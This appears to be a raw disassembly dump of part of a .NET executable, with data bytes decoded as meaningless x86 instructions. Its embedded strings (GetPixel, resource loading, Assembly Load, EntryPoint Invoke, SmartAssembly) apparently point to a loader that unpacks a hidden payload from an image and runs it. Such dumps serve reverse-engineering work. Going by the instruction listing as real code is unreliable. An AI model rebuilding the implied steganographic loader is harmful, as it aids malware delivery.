420f3f:	74 65                	je     0x420fa6
420f41:	00 41 72             	add    %al,0x72(%ecx)
420f44:	72 61                	jb     0x420fa7
420f46:	79 00                	jns    0x420f48
420f48:	43                   	inc    %ebx
420f49:	6f                   	outsl  %ds:(%esi),(%dx)
420f4a:	70 79                	jo     0x420fc5
420f4c:	00 49 6d             	add    %cl,0x6d(%ecx)
420f4f:	61                   	popa
420f50:	67 65 00 67 65       	add    %ah,%gs:0x65(%bx)
420f55:	74 5f                	je     0x420fb6
420f57:	48                   	dec    %eax
420f58:	65 69 67 68 74 00 47 	imul   $0x65470074,%gs:0x68(%edi),%esp
420f5f:	65
420f60:	74 50                	je     0x420fb2
420f62:	69 78 65 6c 00 43 6f 	imul   $0x6f43006c,0x65(%eax),%edi
420f69:	6c                   	insb   (%dx),%es:(%edi)
420f6a:	6f                   	outsl  %ds:(%esi),(%dx)
420f6b:	72 00                	jb     0x420f6d
420f6d:	46                   	inc    %esi
420f6e:	72 6f                	jb     0x420fdf
420f70:	6d                   	insl   (%dx),%es:(%edi)
420f71:	41                   	inc    %ecx
420f72:	72 67                	jb     0x420fdb
420f74:	62 00                	bound  %eax,(%eax)
420f76:	6f                   	outsl  %ds:(%esi),(%dx)
420f77:	70 5f                	jo     0x420fd8
420f79:	49                   	dec    %ecx
420f7a:	6e                   	outsb  %ds:(%esi),(%dx)
420f7b:	65 71 75             	gs jno 0x420ff3
420f7e:	61                   	popa
420f7f:	6c                   	insb   (%dx),%es:(%edi)
420f80:	69 74 79 00 41 72 72 	imul   $0x61727241,0x0(%ecx,%edi,2),%esi
420f87:	61
420f88:	79 4c                	jns    0x420fd6
420f8a:	69 73 74 00 53 79 73 	imul   $0x73795300,0x74(%ebx),%esi
420f91:	74 65                	je     0x420ff8
420f93:	6d                   	insl   (%dx),%es:(%edi)
420f94:	2e 43                	cs inc %ebx
420f96:	6f                   	outsl  %ds:(%esi),(%dx)
420f97:	6c                   	insb   (%dx),%es:(%edi)
420f98:	6c                   	insb   (%dx),%es:(%edi)
420f99:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
420f9e:	6e                   	outsb  %ds:(%esi),(%dx)
420f9f:	73 00                	jae    0x420fa1
420fa1:	67 65 74 5f          	addr16 gs je 0x421004
420fa5:	43                   	inc    %ebx
420fa6:	6f                   	outsl  %ds:(%esi),(%dx)
420fa7:	75 6e                	jne    0x421017
420fa9:	74 00                	je     0x420fab
420fab:	67 65 74 5f          	addr16 gs je 0x42100e
420faf:	52                   	push   %edx
420fb0:	00 49 6e             	add    %cl,0x6e(%ecx)
420fb3:	73 65                	jae    0x42101a
420fb5:	72 74                	jb     0x42102b
420fb7:	00 67 65             	add    %ah,0x65(%edi)
420fba:	74 5f                	je     0x42101b
420fbc:	47                   	inc    %edi
420fbd:	00 67 65             	add    %ah,0x65(%edi)
420fc0:	74 5f                	je     0x421021
420fc2:	42                   	inc    %edx
420fc3:	00 54 79 70          	add    %dl,0x70(%ecx,%edi,2)
420fc7:	65 00 47 65          	add    %al,%gs:0x65(%edi)
420fcb:	74 54                	je     0x421021
420fcd:	79 70                	jns    0x42103f
420fcf:	65 46                	gs inc %esi
420fd1:	72 6f                	jb     0x421042
420fd3:	6d                   	insl   (%dx),%es:(%edi)
420fd4:	48                   	dec    %eax
420fd5:	61                   	popa
420fd6:	6e                   	outsb  %ds:(%esi),(%dx)
420fd7:	64 6c                	fs insb (%dx),%es:(%edi)
420fd9:	65 00 52 75          	add    %dl,%gs:0x75(%edx)
420fdd:	6e                   	outsb  %ds:(%esi),(%dx)
420fde:	74 69                	je     0x421049
420fe0:	6d                   	insl   (%dx),%es:(%edi)
420fe1:	65 54                	gs push %esp
420fe3:	79 70                	jns    0x421055
420fe5:	65 48                	gs dec %eax
420fe7:	61                   	popa
420fe8:	6e                   	outsb  %ds:(%esi),(%dx)
420fe9:	64 6c                	fs insb (%dx),%es:(%edi)
420feb:	65 00 54 6f 41       	add    %dl,%gs:0x41(%edi,%ebp,2)
420ff0:	72 72                	jb     0x421064
420ff2:	61                   	popa
420ff3:	79 00                	jns    0x420ff5
420ff5:	67 65 74 5f          	addr16 gs je 0x421058
420ff9:	57                   	push   %edi
420ffa:	69 64 74 68 00 53 74 	imul   $0x72745300,0x68(%esp,%esi,2),%esp
421001:	72
421002:	69 6e 67 00 43 6f 6e 	imul   $0x6e6f4300,0x67(%esi),%ebp
421009:	63 61 74             	arpl   %esp,0x74(%ecx)
42100c:	00 41 73             	add    %al,0x73(%ecx)
42100f:	73 65                	jae    0x421076
421011:	6d                   	insl   (%dx),%es:(%edi)
421012:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
421016:	47                   	inc    %edi
421017:	65 74 45             	gs je  0x42105f
42101a:	6e                   	outsb  %ds:(%esi),(%dx)
42101b:	74 72                	je     0x42108f
42101d:	79 41                	jns    0x421060
42101f:	73 73                	jae    0x421094
421021:	65 6d                	gs insl (%dx),%es:(%edi)
421023:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
421027:	52                   	push   %edx
421028:	65 73 6f             	gs jae 0x42109a
42102b:	75 72                	jne    0x42109f
42102d:	63 65 4d             	arpl   %esp,0x4d(%ebp)
421030:	61                   	popa
421031:	6e                   	outsb  %ds:(%esi),(%dx)
421032:	61                   	popa
421033:	67 65 72 00          	addr16 gs jb 0x421037
421037:	53                   	push   %ebx
421038:	79 73                	jns    0x4210ad
42103a:	74 65                	je     0x4210a1
42103c:	6d                   	insl   (%dx),%es:(%edi)
42103d:	2e 52                	cs push %edx
42103f:	65 73 6f             	gs jae 0x4210b1
421042:	75 72                	jne    0x4210b6
421044:	63 65 73             	arpl   %esp,0x73(%ebp)
421047:	00 47 65             	add    %al,0x65(%edi)
42104a:	74 4f                	je     0x42109b
42104c:	62 6a 65             	bound  %ebp,0x65(%edx)
42104f:	63 74 00 4d          	arpl   %esi,0x4d(%eax,%eax,1)
421053:	69 63 72 6f 73 6f 66 	imul   $0x666f736f,0x72(%ebx),%esp
42105a:	74 2e                	je     0x42108a
42105c:	56                   	push   %esi
42105d:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
421064:	73 69                	jae    0x4210cf
421066:	63 00                	arpl   %eax,(%eax)
421068:	50                   	push   %eax
421069:	72 6f                	jb     0x4210da
42106b:	6a 65                	push   $0x65
42106d:	63 74 44 61          	arpl   %esi,0x61(%esp,%eax,2)
421071:	74 61                	je     0x4210d4
421073:	00 4d 69             	add    %cl,0x69(%ebp)
421076:	63 72 6f             	arpl   %esi,0x6f(%edx)
421079:	73 6f                	jae    0x4210ea
42107b:	66 74 2e             	data16 je 0x4210ac
42107e:	56                   	push   %esi
42107f:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
421086:	73 69                	jae    0x4210f1
421088:	63 2e                	arpl   %ebp,(%esi)
42108a:	43                   	inc    %ebx
42108b:	6f                   	outsl  %ds:(%esi),(%dx)
42108c:	6d                   	insl   (%dx),%es:(%edi)
42108d:	70 69                	jo     0x4210f8
42108f:	6c                   	insb   (%dx),%es:(%edi)
421090:	65 72 53             	gs jb  0x4210e6
421093:	65 72 76             	gs jb  0x42110c
421096:	69 63 65 73 00 45 6e 	imul   $0x6e450073,0x65(%ebx),%esp
42109d:	64 41                	fs inc %ecx
42109f:	70 70                	jo     0x421111
4210a1:	00 54 68 72          	add    %dl,0x72(%eax,%ebp,2)
4210a5:	65 61                	gs popa
4210a7:	64 00 53 79          	add    %dl,%fs:0x79(%ebx)
4210ab:	73 74                	jae    0x421121
4210ad:	65 6d                	gs insl (%dx),%es:(%edi)
4210af:	2e 54                	cs push %esp
4210b1:	68 72 65 61 64       	push   $0x64616572
4210b6:	69 6e 67 00 53 6c 65 	imul   $0x656c5300,0x67(%esi),%ebp
4210bd:	65 70 00             	gs jo  0x4210c0
4210c0:	41                   	inc    %ecx
4210c1:	70 70                	jo     0x421133
4210c3:	44                   	inc    %esp
4210c4:	6f                   	outsl  %ds:(%esi),(%dx)
4210c5:	6d                   	insl   (%dx),%es:(%edi)
4210c6:	61                   	popa
4210c7:	69 6e 00 67 65 74 5f 	imul   $0x5f746567,0x0(%esi),%ebp
4210ce:	43                   	inc    %ebx
4210cf:	75 72                	jne    0x421143
4210d1:	72 65                	jb     0x421138
4210d3:	6e                   	outsb  %ds:(%esi),(%dx)
4210d4:	74 44                	je     0x42111a
4210d6:	6f                   	outsl  %ds:(%esi),(%dx)
4210d7:	6d                   	insl   (%dx),%es:(%edi)
4210d8:	61                   	popa
4210d9:	69 6e 00 49 6e 74 65 	imul   $0x65746e49,0x0(%esi),%ebp
4210e0:	72 61                	jb     0x421143
4210e2:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
4210e6:	6e                   	outsb  %ds:(%esi),(%dx)
4210e7:	00 43 61             	add    %al,0x61(%ebx)
4210ea:	6c                   	insb   (%dx),%es:(%edi)
4210eb:	6c                   	insb   (%dx),%es:(%edi)
4210ec:	42                   	inc    %edx
4210ed:	79 4e                	jns    0x42113d
4210ef:	61                   	popa
4210f0:	6d                   	insl   (%dx),%es:(%edi)
4210f1:	65 00 43 61          	add    %al,%gs:0x61(%ebx)
4210f5:	6c                   	insb   (%dx),%es:(%edi)
4210f6:	6c                   	insb   (%dx),%es:(%edi)
4210f7:	54                   	push   %esp
4210f8:	79 70                	jns    0x42116a
4210fa:	65 00 49 6e          	add    %cl,%gs:0x6e(%ecx)
4210fe:	74 33                	je     0x421133
421100:	32 00                	xor    (%eax),%al
421102:	00 00                	add    %al,(%eax)
421104:	00 00                	add    %al,(%eax)
421106:	2b 2e                	sub    (%esi),%ebp
421108:	00 50 00             	add    %dl,0x0(%eax)
42110b:	72 00                	jb     0x42110d
42110d:	6f                   	outsl  %ds:(%esi),(%dx)
42110e:	00 70 00             	add    %dh,0x0(%eax)
421111:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
421115:	74 00                	je     0x421117
421117:	69 00 65 00 73 00    	imul   $0x730065,(%eax),%eax
42111d:	2e 00 52 00          	add    %dl,%cs:0x0(%edx)
421121:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
421125:	6f                   	outsl  %ds:(%esi),(%dx)
421126:	00 75 00             	add    %dh,0x0(%ebp)
421129:	72 00                	jb     0x42112b
42112b:	63 00                	arpl   %eax,(%eax)
42112d:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
421131:	00 09                	add    %cl,(%ecx)
421133:	4c                   	dec    %esp
421134:	00 6f 00             	add    %ch,0x0(%edi)
421137:	61                   	popa
421138:	00 64 00 00          	add    %ah,0x0(%eax,%eax,1)
42113c:	15 45 00 6e 00       	adc    $0x6e0045,%eax
421141:	74 00                	je     0x421143
421143:	72 00                	jb     0x421145
421145:	79 00                	jns    0x421147
421147:	50                   	push   %eax
421148:	00 6f 00             	add    %ch,0x0(%edi)
42114b:	69 00 6e 00 74 00    	imul   $0x74006e,(%eax),%eax
421151:	00 0d 49 00 6e 00    	add    %cl,0x6e0049
421157:	76 00                	jbe    0x421159
421159:	6f                   	outsl  %ds:(%esi),(%dx)
42115a:	00 6b 00             	add    %ch,0x0(%ebx)
42115d:	65 00 00             	add    %al,%gs:(%eax)
421160:	00 18                	add    %bl,(%eax)
421162:	e0 09                	loopne 0x42116d
421164:	69 42 5d 21 4f a5 5d 	imul   $0x5da54f21,0x5d(%edx),%eax
42116b:	39 2a                	cmp    %ebp,(%edx)
42116d:	07                   	pop    %es
42116e:	69 b0 39 00 08 b7 7a 	imul   $0x19565c7a,-0x48f7ffc7(%eax),%esi
421175:	5c 56 19
421178:	34 e0                	xor    $0xe0,%al
42117a:	89 06                	mov    %eax,(%esi)
42117c:	00 01                	add    %al,(%ecx)
42117e:	1d 05 1d 05 08       	sbb    $0x8051d05,%eax
421183:	b0 3f                	mov    $0x3f,%al
421185:	5f                   	pop    %edi
421186:	7f 11                	jg     0x421199
421188:	d5 0a                	aad    $0xa
42118a:	3a 06                	cmp    (%esi),%al
42118c:	00 01                	add    %al,(%ecx)
42118e:	1d 05 12 0d 06       	sbb    $0x60d1205,%eax
421193:	00 02                	add    %al,(%edx)
421195:	12 0d 0e 0e 05 00    	adc    0x50e0e,%cl
42119b:	02 01                	add    (%ecx),%al
42119d:	0e                   	push   %cs
42119e:	0e                   	push   %cs
42119f:	05 00 01 1c 1d       	add    $0x1d1c0100,%eax
4211a4:	05 04 00 01 1c       	add    $0x1c010004,%eax
4211a9:	1c 03                	sbb    $0x3,%al
4211ab:	20 00                	and    %al,(%eax)
4211ad:	01 04 20             	add    %eax,(%eax,%eiz,1)
4211b0:	01 01                	add    %eax,(%ecx)
4211b2:	0e                   	push   %cs
4211b3:	04 20                	add    $0x20,%al
4211b5:	01 01                	add    %eax,(%ecx)
4211b7:	08 08                	or     %cl,(%eax)
4211b9:	01 00                	add    %eax,(%eax)
4211bb:	08 00                	or     %al,(%eax)
4211bd:	00 00                	add    %al,(%eax)
4211bf:	00 00                	add    %al,(%eax)
4211c1:	1e                   	push   %ds
4211c2:	01 00                	add    %eax,(%eax)
4211c4:	01 00                	add    %eax,(%eax)
4211c6:	54                   	push   %esp
4211c7:	02 16                	add    (%esi),%dl
4211c9:	57                   	push   %edi
4211ca:	72 61                	jb     0x42122d
4211cc:	70 4e                	jo     0x42121c
4211ce:	6f                   	outsl  %ds:(%esi),(%dx)
4211cf:	6e                   	outsb  %ds:(%esi),(%dx)
4211d0:	45                   	inc    %ebp
4211d1:	78 63                	js     0x421236
4211d3:	65 70 74             	gs jo  0x42124a
4211d6:	69 6f 6e 54 68 72 6f 	imul   $0x6f726854,0x6e(%edi),%ebp
4211dd:	77 73                	ja     0x421252
4211df:	01 05 20 01 01 11    	add    %eax,0x11010120
4211e5:	1d 08 01 00 07       	sbb    $0x7000108,%eax
4211ea:	01 00                	add    %eax,(%eax)
4211ec:	00 00                	add    %al,(%eax)
4211ee:	00 0e                	add    %cl,(%esi)
4211f0:	01 00                	add    %eax,(%eax)
4211f2:	09 4f 66             	or     %ecx,0x66(%edi)
4211f5:	66 69 63 65 4b 69    	imul   $0x694b,0x65(%ebx),%sp
4211fb:	74 00                	je     0x4211fd
4211fd:	00 05 01 00 00 00    	add    %al,0x1
421203:	00 17                	add    %dl,(%edi)
421205:	01 00                	add    %eax,(%eax)
421207:	12 43 6f             	adc    0x6f(%ebx),%al
42120a:	70 79                	jo     0x421285
42120c:	72 69                	jb     0x421277
42120e:	67 68 74 20 c2 a9    	addr16 push $0xa9c22074
421214:	20 20                	and    %ah,(%eax)
421216:	32 30                	xor    (%eax),%dh
421218:	32 30                	xor    (%eax),%dh
42121a:	00 00                	add    %al,(%eax)
42121c:	04 20                	add    $0x20,%al
42121e:	01 01                	add    %eax,(%ecx)
421220:	02 29                	add    (%ecx),%ch
421222:	01 00                	add    %eax,(%eax)
421224:	24 30                	and    $0x30,%al
421226:	30 66 31             	xor    %ah,0x31(%esi)
421229:	33 64 61 37          	xor    0x37(%ecx,%eiz,2),%esp
42122d:	2d 65 37 30 65       	sub    $0x65303765,%eax
421232:	2d 34 64 33 34       	sub    $0x34336434,%eax
421237:	2d 39 37 66 30       	sub    $0x30663739,%eax
42123c:	2d 31 37 33 61       	sub    $0x61333731,%eax
421241:	66 30 35 39 66 65 66 	data16 xor %dh,0x66656639
421248:	61                   	popa
421249:	00 00                	add    %al,(%eax)
42124b:	0c 01                	or     $0x1,%al
42124d:	00 07                	add    %al,(%edi)
42124f:	31 2e                	xor    %ebp,(%esi)
421251:	30 2e                	xor    %ch,(%esi)
421253:	30 2e                	xor    %ch,(%esi)
421255:	30 00                	xor    %al,(%eax)
421257:	00 28                	add    %ch,(%eax)
421259:	01 00                	add    %eax,(%eax)
42125b:	23 50 6f             	and    0x6f(%eax),%edx
42125e:	77 65                	ja     0x4212c5
421260:	72 65                	jb     0x4212c7
421262:	64 20 62 79          	and    %ah,%fs:0x79(%edx)
421266:	20 53 6d             	and    %dl,0x6d(%ebx)
421269:	61                   	popa
42126a:	72 74                	jb     0x4212e0
42126c:	41                   	inc    %ecx
42126d:	73 73                	jae    0x4212e2
42126f:	65 6d                	gs insl (%dx),%es:(%edi)
421271:	62 6c 79 20          	bound  %ebp,0x20(%ecx,%edi,2)
421275:	37                   	aaa
421276:	2e 33 2e             	xor    %cs:(%esi),%ebp
421279:	30 2e                	xor    %ch,(%esi)
42127b:	33 32                	xor    (%edx),%esi
42127d:	39 36                	cmp    %esi,(%esi)
42127f:	00 00                	add    %al,(%eax)
421281:	0a 00                	or     (%eax),%al
421283:	05 01 12 4d 08       	add    $0x84d1201,%eax
421288:	12 4d 08             	adc    0x8(%ebp),%cl
42128b:	08 0a                	or     %cl,(%edx)
42128d:	07                   	pop    %es
42128e:	04 0f                	add    $0xf,%al
421290:	01 1d 05 10 05 1d    	add    %ebx,0x1d051005
421296:	05 03 20 00 08       	add    $0x8002003,%eax
42129b:	06                   	push   %es